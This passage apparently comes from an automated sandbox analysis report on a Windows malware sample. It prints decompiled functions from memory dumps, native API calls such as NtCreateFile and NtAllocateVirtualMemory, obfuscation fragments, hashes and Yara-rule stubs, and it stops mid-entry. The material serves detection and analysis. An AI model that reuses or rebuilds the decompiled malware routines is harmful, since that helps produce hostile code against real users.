Instruction ID: 07f2ff17af6e3214ba3edb17ff880bbfa0e85737f81bc170474561cb7555486c
Opcode Fuzzy Hash: 686f36b7a85c43006284917821b9ff9d0fa9667e33a7afc8bb46c719154d312a
Instruction Fuzzy Hash: 57E086762002146BD720DFA4CC85FDB3B68EF45771F154599F9599B191C230E651C790

Uniqueness

Uniqueness Score: -1.00%

Function 00419E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e68336ecf97fcbff1cce52d5eab911d0c0d253976a6ab71543f56f2ca0e2158f
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 6CD012752002146BD710EB99CC85ED7776CEF44760F154459BA5C5B242C530F55086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00409A90, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00409A90(intOrPtr* _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr* _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407E80(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00408090( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041B810( &_v284, 0x104);
						E0041BE80( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00414DC0(E00414D60(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe045
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E004080C0( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E00408140(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00409a9b
0x00409aa3
0x00409aa5
0x00409aaa
0x00409aaf
0x00409ac2
0x00409ac7
0x00409ad0
0x00409adc
0x00409aef
0x00409af4
0x00409af7
0x00409b00
0x00409b12
0x00409b17
0x00409b1c
0x00000000
0x00000000
0x00409b1e
0x00409b22
0x00000000
0x00000000
0x00409b24
0x00000000
0x00409b22
0x00409b26
0x00409b29
0x00409b2f
0x00409b31
0x00409b3c
0x00409b41
0x00409b44
0x00409b51
0x00409b5c
0x00409b5e
0x00409b64
0x00409b68
0x00409b6b
0x00409b6b
0x00409b72
0x00409b75
0x00409b7a
0x00409b87
0x00409ab6
0x00409ab6
0x00409ab6

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction ID: 3804b4b6881f0f279124858c5e35b72bf87e4fbc11d5a75f000cd7e24852ad46
Opcode Fuzzy Hash: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction Fuzzy Hash: 64213CB2D4020857CB25D664AD42AEF737CEB54308F04017FE949A3182F7387E49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00408373, Relevance: 1.7, APIs: 1, Instructions: 173
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00408373(signed int __ecx, intOrPtr _a4, intOrPtr _a8, char* _a12, char* _a16) {
				char* _v8;
				char* _v132;
				char* _v136;
				char _v656;
				char* _v668;
				char _v684;
				char _v688;
				char* __ebx;
				intOrPtr __edi;
				char* __esi;
				signed char _t62;

				_t62 = 0x000000fa | __ecx;
				if(_t62 != 0) {
					 *0xC3097FF8 =  *0xC3097FF8 ^ _t62;
				} else {
					_push(__ebp);
					__ebp = __esp;
					__esp = __esp - 0x2ac;
					_push(__ebx);
					_push(__esi);
					_push(__edi);
					__eax = 0;
					_v8 = 0;
					_v688 = 0;
					 &_v684 = E0041B860( &_v684, 0, 0x2a4);
					__esi = _a16;
					__ecx =  *((intOrPtr*)(__esi + 0x300));
					__edi = _a4;
					_push( *((intOrPtr*)(__esi + 0x300)));
					_push(_a4); // executed
					__eax = E004082F0(__eflags); // executed
					__esp = __esp + 0x14;
					__eax = E0041B150(__ecx);
					_t14 =  *((intOrPtr*)(__esi + 0x2d4)) + 0x29000; // 0x29000
					__ebx = __eax + _t14;
					_a16 = 0;
					while(1) {
						__eax = E0040F640(__edi, 0xfe363c80); // executed
						__ecx =  *((intOrPtr*)(__esi + 0x2f4));
						__eax =  &_v688;
						__eax = E00419F00(__edi,  *((intOrPtr*)(__esi + 0x2f4)), __ebx,  &_v688, 0x2a8, 0); // executed
						 *((intOrPtr*)(__esi + 0x2dc)) = __eax;
						__eflags = __eax;
						if(__eax < 0) {
							break;
						}
						__eflags = _v656;
						if(_v656 == 0) {
							L13:
							__eax = _a16;
							__eax = _a16 + 1;
							_a16 = __eax;
							__eflags = __eax - 2;
							if(__eax < 2) {
								continue;
							} else {
								__ebx = _v8;
								goto L17;
							}
						} else {
							__eflags = _v668;
							if(_v668 == 0) {
								goto L13;
							} else {
								__eflags = _v136;
								if(_v136 == 0) {
									goto L13;
								} else {
									__eflags = _v132;
									if(_v132 != 0) {
										__eax = _a12;
										__edx =  &_v688;
										__ebx = 1;
										__eax = E0041B7E0(_a12,  &_v688, 0x2a8);
										L17:
										__ecx =  *((intOrPtr*)(__esi + 0x2f4));
										__eax = E00419E90(__edi,  *((intOrPtr*)(__esi + 0x2f4))); // executed
										__eflags = __ebx;
										if(__ebx == 0) {
											break;
										} else {
											__edx = _v668;
											__eax = _a12;
											__ecx = _v136;
											 *((intOrPtr*)(_a12 + 0x14)) = _v668;
											__edx =  *((intOrPtr*)(__esi + 0x2d0));
											_t34 = __esi + 0x2e8; // 0x2e8
											__eax = _t34;
											 *_t34 = _v136;
											__eax = _a12;
											_t36 = __esi + 0x314; // 0x314
											__ebx = _t36;
											__ecx = 0;
											__eax = _a12 + 0x220;
											 *__ebx = 0x18;
											 *((intOrPtr*)(__esi + 0x318)) = 0;
											 *((intOrPtr*)(__esi + 0x320)) = 0;
											 *((intOrPtr*)(__esi + 0x31c)) = 0;
											 *((intOrPtr*)(__esi + 0x324)) = 0;
											 *((intOrPtr*)(__esi + 0x328)) = 0;
											__eax = E00419710(__edi, _a12 + 0x220,  *((intOrPtr*)(__esi + 0x2d0)), __ebx, _a12 + 0x220);
											__ecx = 0;
											 *((intOrPtr*)(__esi + 0x2dc)) = __eax;
											__eflags = __eax;
											if(__eax < 0) {
												break;
											} else {
												__edx = _v132;
												_t44 = __esi + 0x2e0; // 0x2e0
												__eax = _t44;
												 *((intOrPtr*)(__esi + 0x318)) = 0;
												 *((intOrPtr*)(__esi + 0x320)) = 0;
												 *((intOrPtr*)(__esi + 0x31c)) = 0;
												 *((intOrPtr*)(__esi + 0x324)) = 0;
												 *((intOrPtr*)(__esi + 0x328)) = 0;
												_a12 = _a12 + 0x224;
												 *((intOrPtr*)(__esi + 0x2e4)) = _v132;
												 *__ebx = 0x18;
												 *((intOrPtr*)(__esi + 0x2d0)) = 0x1a;
												__eax = E00419750(__edi, _a12 + 0x224, 0x1a, __ebx, _t44);
												 *((intOrPtr*)(__esi + 0x2dc)) = __eax;
												__eflags = __eax;
												if(__eax < 0) {
													break;
												} else {
													__edx = _a8;
													__esi =  *((intOrPtr*)(__edx + 0x10));
													__esi =  *((intOrPtr*)(__edx + 0x10)) + 0x200;
													__eflags =  *((intOrPtr*)(__edx + 0x10)) + 0x200;
													__eax = E0041ADF0(__ecx);
													__ebx = __eax;
													__eax =  *((intOrPtr*)(__ebx + 0x28));
													__eax = E0041BAD0( *((intOrPtr*)(__ebx + 0x28)));
													__edx =  *((intOrPtr*)(__ebx + 0x28));
													_t59 = __eax + 2; // 0x2
													__ecx = __eax + _t59;
													__eax =  &_v656;
													__eax = E00414A20(__edi,  &_v656, 2, 0); // executed
													_pop(__edi);
													_pop(__esi);
													_pop(__ebx);
													__esp = __ebp;
													_pop(__ebp);
													return __eax;
												}
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						goto L21;
					}
					_pop(__edi);
					_pop(__esi);
					__eax = 0;
					__eflags = 0;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return 0;
				}
				L21:
			}

0x0040837a
0x0040837d
0x00408337
0x0040837f
0x00408380
0x00408381
0x00408383
0x00408389
0x0040838a
0x0040838b
0x0040838c
0x00408394
0x00408397
0x004083a4
0x004083a9
0x004083ac
0x004083b2
0x004083b5
0x004083b6
0x004083b7
0x004083bc
0x004083bf
0x004083ca
0x004083ca
0x004083d1
0x004083e0
0x004083e6
0x004083eb
0x004083f8
0x00408402
0x0040840a
0x00408410
0x00408412
0x00000000
0x00000000
0x00408414
0x0040841c
0x00408436
0x00408436
0x00408439
0x0040843a
0x0040843d
0x00408440
0x00000000
0x00408442
0x00408442
0x00000000
0x00408442
0x0040841e
0x0040841e
0x00408425
0x00000000
0x00408427
0x00408427
0x0040842e
0x00000000
0x00408430
0x00408430
0x00408434
0x00408450
0x00408458
0x00408460
0x00408465
0x0040846d
0x0040846d
0x00408475
0x0040847d
0x0040847f
0x00000000
0x00408481
0x00408481
0x00408487
0x0040848a
0x00408490
0x00408493
0x00408499
0x00408499
0x004084a0
0x004084a2
0x004084a5
0x004084a5
0x004084ac
0x004084af
0x004084b6
0x004084bc
0x004084c2
0x004084c8
0x004084ce
0x004084d4
0x004084da
0x004084df
0x004084e4
0x004084ea
0x004084ec
0x00000000
0x004084f2
0x004084f2
0x004084f5
0x004084f5
0x004084fc
0x00408502
0x00408508
0x0040850e
0x00408514
0x00408520
0x00408528
0x0040852e
0x00408534
0x0040853e
0x00408546
0x0040854c
0x0040854e
0x00000000
0x00408554
0x00408554
0x00408557
0x0040855a
0x0040855a
0x00408560
0x0040856d
0x0040856f
0x00408573
0x00408578
0x0040857b
0x0040857b
0x0040858b
0x00408593
0x0040859b
0x0040859c
0x0040859d
0x0040859e
0x004085a0
0x004085a1
0x004085a1
0x0040854e
0x004084ec
0x00000000
0x00000000
0x00000000
0x00408434
0x0040842e
0x00408425
0x00000000
0x0040841c
0x00408447
0x00408448
0x00408449
0x00408449
0x0040844b
0x0040844c
0x0040844e
0x0040844f
0x0040844f
0x00000000

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: a1503ae8d1ed78e4aa957748989022a8b07a6f7f60b313ee9a128ea968a24ef9
Instruction ID: 7625cfdccee7a5b4b160b914f125c1e61d6f6ab5c4e322e664f48797fdf5c5d4
Opcode Fuzzy Hash: a1503ae8d1ed78e4aa957748989022a8b07a6f7f60b313ee9a128ea968a24ef9
Instruction Fuzzy Hash: AE51B4B0600309AFDB24DF64DC85BEB77F8EB48304F00446EF559A7281EB74A941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004082E8, Relevance: 1.6, APIs: 1, Instructions: 57
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E004082E8(void* __ebx, void* __edx, void* __edi, intOrPtr _a4, void* _a8, signed int _a1462924530) {
				char _v67;
				char _v68;
				void* _t16;
				signed char _t17;
				signed char _t33;
				void* _t36;
				void* _t38;

				asm("clc");
				 *((intOrPtr*)(__edi + 0x551fe7b5)) =  *((intOrPtr*)(__edi + 0x551fe7b5)) + __edx;
				_t36 = _t38;
				_v68 = 0;
				E0041B860( &_v67, 0, 0x3f);
				E0041C400( &_v68, 3);
				_t32 = _a4 + 0x1c;
				_t16 = E0040ACD0(_a4 + 0x1c, _a4 + 0x1c,  &_v68); // executed
				_t17 = E00414E20(_t32, _t16, 0, 0, 0xc4e7b6d6);
				_t33 = _t17;
				_a1462924530 = _a1462924530 ^ _t17;
			}

0x004082ea
0x004082eb
0x004082f1
0x004082ff
0x00408303
0x0040830e
0x0040831a
0x0040831e
0x0040832e
0x00408333
0x00408337

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 1c4401c066ea417a9545dc2ceca71745dd413ce043673ab0bc1603a0c2c61d3c
Instruction ID: 802b7db70617138706d4f0636bf15bd328693867687cb7b74156b540336ea1db
Opcode Fuzzy Hash: 1c4401c066ea417a9545dc2ceca71745dd413ce043673ab0bc1603a0c2c61d3c
Instruction Fuzzy Hash: EE01D831A803187BE720A6A59C43FFE776CAF40F55F05411EFF04BA1C1E6A8691646FA

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004082F0(void* __eflags, intOrPtr _a4, void* _a8, signed int _a1462924530) {
				char _v67;
				char _v68;
				void* _t14;
				signed char _t15;
				signed char _t27;

				_v68 = 0;
				E0041B860( &_v67, 0, 0x3f);
				E0041C400( &_v68, 3);
				_t26 = _a4 + 0x1c;
				_t14 = E0040ACD0(_a4 + 0x1c, _a4 + 0x1c,  &_v68); // executed
				_t15 = E00414E20(_t26, _t14, 0, 0, 0xc4e7b6d6);
				_t27 = _t15;
				_a1462924530 = _a1462924530 ^ _t15;
			}

0x004082ff
0x00408303
0x0040830e
0x0040831a
0x0040831e
0x0040832e
0x00408333
0x00408337

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction ID: 99221eaed4bb2b1c73ef210b546efabe7985b039c1aa6a3efaa8447a865c7254
Opcode Fuzzy Hash: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction Fuzzy Hash: 7601D831A8031876E720A6959C43FFE772C6B40F54F044019FF04BA1C1D6A8691646EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A2, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 16063dae42517bfa6091b2f18c655fd32a8cd51b321d927acab44951dd6ce39e
Instruction ID: 340cfaa90dbac84e7bf05b9d27d849e6823110de8f61185ef2bf1628f03526e7
Opcode Fuzzy Hash: 16063dae42517bfa6091b2f18c655fd32a8cd51b321d927acab44951dd6ce39e
Instruction Fuzzy Hash: CB1132B2200508BBDB18DF98CC81EEB73A9EF8C350F118219FA0CA7241D230E8518BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C2, Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0041A1C2(void* __eax, WCHAR* _a4, WCHAR* _a8, struct _LUID* _a12) {
				intOrPtr _v0;
				char _v1;
				int _t14;
				void* _t19;

				_push(cs);
				 *(__eax + 0x1d) =  *(__eax + 0x1d) >> 1;
				asm("lds esi, [edi-0x39785eef]");
				asm("adc byte [ebp-0x75], 0xec");
				_push( &_v1);
				E0041A960(_v0, _v0 + 0xc8c,  *((intOrPtr*)(_v0 + 0xa18)), 0, 0x46, _t19);
				_t14 = LookupPrivilegeValueW(_a4, _a8, _a12); // executed
				return _t14;
			}

0x0041a1c2
0x0041a1c4
0x0041a1c7
0x0041a1cf
0x0041a1d0
0x0041a1ea
0x0041a200
0x0041a204

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 8f7e39a7e54f5d283fd236133196eed88695d221e073cc2f9dcd51747603ef0c
Instruction ID: 1bfaad42c5dba08bf377a7d15b36eccc446808edf71f9e9c0dd22e9d054ada6c
Opcode Fuzzy Hash: 8f7e39a7e54f5d283fd236133196eed88695d221e073cc2f9dcd51747603ef0c
Instruction Fuzzy Hash: C9F0E5B16002186FCB20DF64CC41EDB3769EF45360F068298FE4D6B282C630E811CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A062, Relevance: 1.5, APIs: 1, Instructions: 27
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0041A062(void* __eax, void* __ebx, intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t13;
				void* _t21;

				asm("rcl dword [ebp-0x75], cl");
				_push(0x2687a41d);
				_t4 = _a4 + 0xc74; // 0xc74
				E0041A960(_a4, _t4,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35, _t21);
				_t13 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t13;
			}

0x0041a06f
0x0041a070
0x0041a07f
0x0041a087
0x0041a09d
0x0041a0a1

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 195937d59783e975ddc4ffaf283b86398264f71afe0486821d6b1db6a0acf83b
Instruction ID: f2cbfdc186d79de33e18c666acb0b4df94e4156fe3b7b9d71b5b086efcc08ba0
Opcode Fuzzy Hash: 195937d59783e975ddc4ffaf283b86398264f71afe0486821d6b1db6a0acf83b
Instruction Fuzzy Hash: 6AE06DB5200618AFCB18DF65CC48EEB7768EF88350F128658FD099B242D631E8158BB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A070, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: ebe44f756a2289fd31ae4d5b5361048190c1dc89d00c79db85c43397b2838655
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 81E01AB12102086BD714DF59CC45EA777ACEF88750F018559B90857241C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00414506,?,00414C7F,00414C7F,?,00414506,?,?,?,?,?,00000000,00409CD3,?), ref: 0041A05D

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 0bf4e0d92ddb4de2ba6a166865ddf054dca1a4f918bcd24d9368b88a9b8aca1a
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: F1E012B1210208ABDB14EF99CC81EA777ACEF88664F158559BA086B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 46e8f913edfca5d9b668009ee454d724baa27d6f5a7db77fbc9955010344b6d9
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 22E01AB12002086BDB10DF49CC85EE737ADEF88650F018555BA0C67241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0B0, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: eb2c75e7f7166c4cf28644cd9339eacac336c717648a3dafe3de7fd5e277bb7f
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 4CD017726102187BD620EB99CC85FD777ACDF48BA0F0584A9BA5C6B242C531BA108AE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00416C9C, Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00416C9C(void* __eax, void* __ebx) {
				signed int _t10;

				asm("sbb bh, [esi+ebx*4-0x548f613b]");
				 *(__ebx + 0x2d) =  *(__ebx + 0x2d) | _t10;
				_push(__ebx);
				asm("sbb eax, edi");
				return __eax;
			}

0x00416c9c
0x00416ca3
0x00416ca6
0x00416ca7
0x00416cb3

Memory Dump Source

Source File: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b116c4c31a377a51fde2d530df58e6e36d7bd68116c92be4fc98c54be1115aad
Instruction ID: 418090d7fca0978790b8d11f9e15924669b78987f76feae58985ebf7500b175b
Opcode Fuzzy Hash: b116c4c31a377a51fde2d530df58e6e36d7bd68116c92be4fc98c54be1115aad
Instruction Fuzzy Hash: BBC08CA2E190101981200E2A78C21F0FBA8C0C7022E0823A7E8CAA3001C102C0154188

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 496 Parent PID: 3440 rundll32.exeCOMMON

Executed Functions

Function 00659D60, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,00654B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,00654B87,007A002E,00000000,00000060,00000000,00000000), ref: 00659DAD

Strings

.z`, xrefs: 00659D9D, 00659DA8

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 704df2a42dc086fb24978f0bb8affb6b76d9bf49868929a4d2dddfd16bd8d3d0
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: BFF0B2B2210208ABCB48CF88DC85EEB77ADAF8C754F158248BA0D97241C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00659E8A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL( Me,?,?,00654D20,00000000,FFFFFFFF), ref: 00659EB5

Strings

Me, xrefs: 00659EAC, 00659EB4

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: Me
API String ID: 3535843008-3204660077
Opcode ID: f865309e9bc92f76d609314f966f4d77334ca376d91da5de97342366ba0548c6
Instruction ID: 559c41ac75e1c0ecb2f1c3739ac519a081bd5102a1e4867fa09e844169a71524
Opcode Fuzzy Hash: f865309e9bc92f76d609314f966f4d77334ca376d91da5de97342366ba0548c6
Instruction Fuzzy Hash: C6E086362002146BD720DFA4CC85FDB3B68EF45761F154299F9599B291C230E605C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00659E90, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL( Me,?,?,00654D20,00000000,FFFFFFFF), ref: 00659EB5

Strings

Me, xrefs: 00659EAC, 00659EB4

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: Me
API String ID: 3535843008-3204660077
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: dbfd5c75275e28b164bd811538ba79350dc5c32da14111f11c1ef1656b898176
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: CAD012752002146BD710EBD8CC85E97775DEF44750F154559BA585B242C530F50086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00659E10, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00654A01,?,?,?,?,00654A01,FFFFFFFF,?,BMe,?,00000000), ref: 00659E55

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 24080d0b820dc02a149601b525a11f40b1105972d8f24ec445480e46182295aa
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: 9DF0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158248BE1DA7241D630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00659E0B, Relevance: 1.5, APIs: 1, Instructions: 35filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,00654A01,?,?,?,?,00654A01,FFFFFFFF,?,BMe,?,00000000), ref: 00659E55

Memory Dump Source

Source File: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Offset: 00640000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 6c29a0e0afc1308dc00e7d5d1c8201332da7c507154aaf135898f196fc83a8a7
Instruction ID: 12eeebd9b69479d9136018fdd1f2973ab63be3114a7ded6fcd5b67ccf71e83c1
Opcode Fuzzy Hash: 6c29a0e0afc1308dc00e7d5d1c8201332da7c507154aaf135898f196fc83a8a7
Instruction Fuzzy Hash: 64F0F9B6200108AFCB14CF88CC80DEB77AAEF8C314F118249BE0DA7251C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00659F3A, Relevance: 1.5, APIs: 1, Instructions: 31memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,00642D11,00002000,00003000,00000004), ref: 00659F79

Memory Dump Source

